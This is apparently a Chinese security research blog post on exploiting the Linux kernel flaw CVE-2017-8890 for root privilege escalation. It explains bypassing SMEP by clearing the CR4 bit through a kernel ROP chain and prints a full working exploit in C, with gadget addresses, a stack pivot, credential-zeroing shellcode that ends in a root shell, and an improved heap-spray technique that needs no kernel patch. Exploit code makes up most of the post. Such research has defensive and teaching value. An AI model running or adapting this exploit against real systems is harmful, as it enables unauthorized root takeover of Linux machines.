Author: thor@MS509Team

在上一篇文章利用CVE-2017-8890实现linux内核提权: ret2usr中,我们成功利用ret2usr攻击实现了root提权。但是如果内核开启了SMEP,那么我们的攻击将失效。在本篇文章中,我们将主要介绍SMEP的绕过方法及堆喷的改进方法。

0x00 SMEP绕过

我们在qemu启动命令行中加入选项:

-cpu kvm64,+smep

这将使得linux内核不能直接跳到用户空间执行shellcode。qemu启动后我们查看cpuinfo,可以看到smep已开启:

开启后我们再执行之前的exp:

我们可以看到由于SMEP拦截了用户空间shellode的执行,内核直接崩溃。绕过SMEP目前有几种方法:

1). 内核ROP覆盖CR4寄存器,关闭SMEP
2). 直接内核ROP执行shellcode
3). ret2dir,利用physmap执行shellcode

这里我们使用第一种方法。

1)覆盖CR4寄存器,关闭SMEP

我们知道,内核SMEP/SMAP的实现需要底层CPU的支持,而CR4寄存器就是控制SMEP/SMAP开关的寄存器。CR4寄存器是X86 CPU的一个特殊的控制寄存器,控制了CPU很多特性的开启,其布局如下所示:

我们可以看到,CR4寄存器的第20位控制了SMEP的开启,第21位控制了SMAP的开启。因此,只要我们能够将CR4寄存器的第20位清零即可关闭内核的SMEP防护机制。我们从之前的内核崩溃中可以看到,CR4寄存器的值为0x1006f0,第20位为1,表示SMEP开启:

由于我们不能在用户空间执行shellcode,我们只能先通过内核ROP关闭SMEP,再跳转到用户空间的shellcode执行提权。因此,我们在漏洞触发劫持内核EIP后,需要跳转到执行关闭SMEP的ROP gadget。为了执行内核ROP,我们首先用ROPgadget工具dump出内核镜像的所有gadgets,方便查找:

ROPgadget --binary vmlinux > ropgadget

查找覆盖CR4的gadget:

最终选定如下两个gadgets来关闭SMEP:

0xffffffff810efbfd : pop rdi ; ret
0xffffffff810496b4 : mov cr4, rdi ; pop rbp ; ret

首先通过rdi寄存器布置参数,然后执行覆盖cr4寄存器的操作。

2)内核ROP链

上面我们提到需要通过两个内核ROP gadgets来执行关闭SMEP的操作,但是在执行这两个gadgets之前,我们还必须执行stack pivot等操作,构建ROP链来完成目标。首先,ROP的执行需要我们能够在内核堆栈上布置我们控制的数据,但是我们并不能控制内核堆栈,所以必须执行stack pivot,将内核堆栈指向我们控制的空间。我们使用以下gadget:

0xffffffff813b5122:    xchg eax, esp ; ret 0x4881

该gadget将eax寄存器和esp寄存器的值交换,而eax寄存器在劫持EIP时正好是可控的,因此可用于stack pivot,如下所示:

可以看到,eax寄存器的值正好是该gadget地址值的前4个字节,因此可以将esp劫持到0x813b5122地址,我们可以在该地址布置我们的ROP链:

执行完ROP链后我们关闭了SMEP,因此就可以跳转到用户空间的shellcode去执行提权代码了,这里的get_root函数地址就是我们在用户空间的提权shellcode。需要注意的是,在执行ROP前需要保存一些重要寄存器环境,在shellcode执行完后要恢复,防止内核处理出现异常。

3)Demo

综上,我们利用内核ROP绕过SMEP的exploit.c如下所示:

#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>  
#include <sys/socket.h>  
#include <arpa/inet.h>  
#include <netdb.h> 
#include <string.h> 
#include <unistd.h> 
#include <netinet/in.h> 
#include <fcntl.h> 
#include <time.h> 
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#include <sys/mman.h>
#include <sys/types.h>


#define SPRAY_SIZE                 5000
#define HELLO_WORLD_SERVER_PORT    8088 
#define Stack_Pivot_addr           0xffffffff813b5122    //  xchg eax, esp ; ret 0x4881
#define Heap_Spray_Addr            0xcdab02ff

unsigned long*  find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long*  pid_task     = (unsigned long*)0xffffffff81077180;

void *client(void *arg);
void get_root();

int pid=0;

void get_root() {

    asm(
        "sub    $0x18,%rsp;"
        "pushq  %rcx;"
        "mov    pid,%edi;"
        "callq  *find_get_pid;"
        "mov    %rax,-0x8(%rbp);"
        "mov    -0x8(%rbp),%rax;"
        "mov    $0x0,%esi;"
        "mov    %rax,%rdi;"
        "callq  *pid_task;"
        "mov    %rax,-0x10(%rbp);"
        "mov    -0x10(%rbp),%rax;"
        "mov    0x5f8(%rax),%rax;"
        "mov    %rax,-0x18(%rbp);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x4,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x8,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0xc,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x10,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x14,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x18,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x1c,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x20,%rax;"
        "movl   $0x0,(%rax);"
        "mov    $0xcdab1028,%rax; "
        "movq   $0xffffffff81077220,(%rax); "
        "popq   %rsp;"
        "sub    $0x50, %rsp;"
        "retq;"
        );
}

int sockfd[SPRAY_SIZE];

void spray_init() {

    for(int i=0; i<SPRAY_SIZE; i++) {

        if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {      
           perror("Socket");
           exit(errno);
         }
    }
}

void heap_spray() {

    struct sockaddr_in6 my_addr, their_addr; 
    unsigned int myport = 8000;

    bzero(&my_addr, sizeof(my_addr));
    my_addr.sin6_family = AF_INET6; 
    my_addr.sin6_port = htons(myport); 
    my_addr.sin6_addr = in6addr_any;  

    int opt =1;
    struct  group_req group1 = {0};

    struct sockaddr_in6 *psin1;

    psin1 = (struct sockaddr_in6 *)&group1.gr_group;
    psin1->sin6_family = AF_INET6;

    psin1->sin6_port = 1234;

    // cd ab 02 ff
    inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));

    for(int j=0; j<SPRAY_SIZE; j++) {
        setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
    }


}

void *func_modify(void *arg){ 

    unsigned long fix_addr = Heap_Spray_Addr + 8*5;
    unsigned long func = Stack_Pivot_addr;

    while(1) {
        *(unsigned long *)(fix_addr) = func;
    }
}

void exploit(){

    struct sockaddr_in server_addr;
    bzero(&server_addr,sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = htons(INADDR_ANY);
    server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);

    struct  group_req group = {0};
    struct sockaddr_in *psin;

    psin = (struct sockaddr_in *)&group.gr_group;
    psin->sin_family = AF_INET;
    psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));

    int server_socket = socket(PF_INET,SOCK_STREAM,0);
    if( server_socket < 0){
        printf("[Server]Create Socket Failed!");
        exit(1);
    }

    int opt =1;

    setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));

    if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
        printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT); 
        exit(1);
    }

    if ( listen(server_socket, 10) ) {
        printf("[Server]Server Listen Failed!"); 
        exit(1);
    }


    pthread_t id_client;
    pthread_create(&id_client,NULL,client,NULL);

    spray_init();

    struct sockaddr_in client_addr;
    socklen_t length = sizeof(client_addr);

    printf ("[Server]accept..... \n"); 
    int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length);
    if ( new_server_socket < 0){
        close(server_socket);
        perror("[Server]Server Accept Failed!\n");
        return;
    }

    unsigned long  fix_addr = Heap_Spray_Addr & 0xfffffffffffff000;
    unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024*100, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
    if (addr == MAP_FAILED){
        perror("Failed to mmap: ");

        return;
    }

    addr = (unsigned long *)Heap_Spray_Addr;
    unsigned long * addr1 = (unsigned long*)(fix_addr + 0x1000);
    unsigned long func = (unsigned long)Stack_Pivot_addr;

    addr[0] = (unsigned long)addr1;
    addr[1] = 0x0a0a02e0;
    addr[2] = 0x00000002;
    addr[3] = 0x0;
    addr[4] = 0x0;
    addr[5] = (unsigned long)func;

    addr1[0] = 0x0;
    addr1[1] = 0x0a0a02e0;
    addr1[2] = 0x00000002;
    addr1[3] = 0x0;
    addr1[4] = 0x0;
    addr1[5] = 0x0;

    unsigned long  fake_stack_fix = 0x813b5000;
    unsigned long* fake_stack_addr = (unsigned long *)mmap((void*)fake_stack_fix, 1024*2048, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
    if (fake_stack_addr == MAP_FAILED){
        perror("Failed to mmap: ");

        return ;
    }
    memset(fake_stack_addr,0,1024*2048);  

    unsigned long fake_rsp = 0x813b5122 ;
   *((unsigned long *)fake_rsp) = 0xffffffff8138b055;  //push rbp ; pop rcx ; ret 0xe881

    unsigned long fake_rsp1 = fake_rsp + 0x4889;
    *((unsigned long *)(fake_rsp1)) = 0xffffffff810efbfd;   // pop rdi ; ret

    fake_rsp1  -= 0x1777;
    *( (unsigned long*) (fake_rsp1)) = 0x06f0;    // CR4 
    *( (unsigned long*) (fake_rsp1+ 8) ) = 0xffffffff810496b4;  //  mov cr4, rdi ; pop rbp ; ret
    *( (unsigned long*) (fake_rsp1 + 16) ) = fake_rsp + 0x80;  
    *( (unsigned long*) (fake_rsp1 + 24)) =  (unsigned long)&get_root;

    pthread_t id_func;
    pthread_create(&id_func,NULL,func_modify,NULL);

    printf ("[Server]close new_server_socket \n");
    close(new_server_socket);
    sleep(5);

    heap_spray();

    close(server_socket);

    printf(" current uid is : %d \n", getuid());
    printf(" current euid is : %d \n", geteuid());

    system("/bin/sh");

}

void *client(void *arg){

    struct sockaddr_in client_addr;
    bzero(&client_addr,sizeof(client_addr));
    client_addr.sin_family=AF_INET;
    client_addr.sin_addr.s_addr=htons(INADDR_ANY);
    client_addr.sin_port=htons(0);
    int client_socket=socket(AF_INET,SOCK_STREAM,0);
    if(client_socket<0){
        printf("[Client]Create socket failed!\n");
        exit(1);
    }
    if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
        printf("[Client] client bind port failed!\n");
        exit(1);
    }
    struct sockaddr_in server_addr;
    bzero(&server_addr,sizeof(server_addr));
    server_addr.sin_family=AF_INET;
    if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
        printf("[Client]Server IP Address error\n");
        exit(0);
    }
    server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT);
    socklen_t server_addr_length=sizeof(server_addr);
    if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
        printf("[Client]cannot connect to 127.0.0.1!\n");
        exit(1);
    }
    printf("[Client]Close client socket\n");
    close(client_socket);

    return NULL;

}

int main(int argc,char* argv[]) {   

    printf("pid : %d\n", getpid());

    pid = getpid();

    exploit();

    return 0;
}

编译后运行,成功在开启SMEP防护机制下实现root提权:

0x01 再议堆喷

在我们两个版本的exp中,堆喷都是漏洞利用的重要前提,如果没有合适的堆喷,那么后续的漏洞利用方法都无法实现。由于我们对内核研究得不够深,对于堆喷我们也一直没有找到合适的方法,所以我们在exp使用了patch kernel的方法,暂时跳过堆喷的阻碍。现在我们再来看看堆喷的其他方法。
我们的堆喷其实要求比较简单:

1)堆喷大小为64字节;
2)至少能够控制堆喷块的前8个字节,且堆喷块中无其他干扰内核执行流程的数据;

我们之前一直试图使用sendmmsg方法来堆喷,发现始终无法控制前8个字节,所以放弃。我们试图从sock_malloc的调用图中找到一个适合的方法,最终发现了一条调用路径:

在函数ip_mc_source中会调用sock_malloc分配空间:

经过调试发现,这里刚好会分配64个字节空间,因此满足堆喷的第一个条件。同时,我们查看堆块的内容发现,堆块除了前8个字节以外的其他内容都为0,基本满足第二个条件:

该方法堆喷的堆块前8个字节固定为0x000000010000000a,我们虽然不能控制这8个字节的内容,但是由于这个值是我们已知的固定值,且该地址是我们能够通过mmap获取到的用户地址空间,因此该堆喷方法是可行的。最终,我们可以将之前exp中的堆喷代码修改为如下方法:

int sockfd[SPRAY_SIZE];
void spray_init() {
    struct sockaddr_in server_addr;
    struct group_req group;
    struct sockaddr_in *psin=NULL;

    memset(&server_addr,0,sizeof(server_addr));
    memset(&group,0,sizeof(group));

    bzero(&server_addr,sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = htons(INADDR_ANY);
    server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);

    psin = (struct sockaddr_in *)&group.gr_group;
    psin->sin_family = AF_INET;
    psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));

    for(int i=0; i<SPRAY_SIZE; i++) {
        if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {      
           perror("Socket");
           exit(errno);
        }

        setsockopt(sockfd[i], SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
    }

}

void heap_spray(){
    struct ip_mreq_source mreqsrc;
    memset(&mreqsrc,0,sizeof(mreqsrc));
    mreqsrc.imr_multiaddr.s_addr = htonl(inet_addr("10.10.2.224"));

    for(int j=0; j<SPRAY_SIZE; j++) {     
        setsockopt(sockfd[j], IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, &mreqsrc, sizeof(mreqsrc));
    }

}

除了修改堆喷方法之外,还需修改堆喷地址,即:

#define Heap_Spray_Addr            0x000000010000000a

修改好之后我们的exp照样能够成功提权,因此该堆喷方法是可行的。至此,我们成功找到一个不需要patch kernel的堆喷方法,内核中应该还有很多类似的堆喷方法。

0x02 小结

本篇文章中,我们利用内核ROP绕过了SMEP防护机制,同时找到了一种可靠的堆喷方法。但是目前为止我们的exp还不能绕过SMAP,因为SMAP将阻止我们的exp从内核访问用户空间的伪造对象。如果使用ret2dir方法应该可以同时绕过SMEP和SMAP,还需后续研究。还有另外一种方法就是在内核空间中伪造ip_mc_socklist,而不是在用户空间伪造。同时,我们的exp只是在qemu的虚拟环境中测试通过,在实际的linux发行版本未做测试。如果要在Ubuntu等系统上提权,还需要通过gdb调试并修改exp。

源链接

Hacking more

...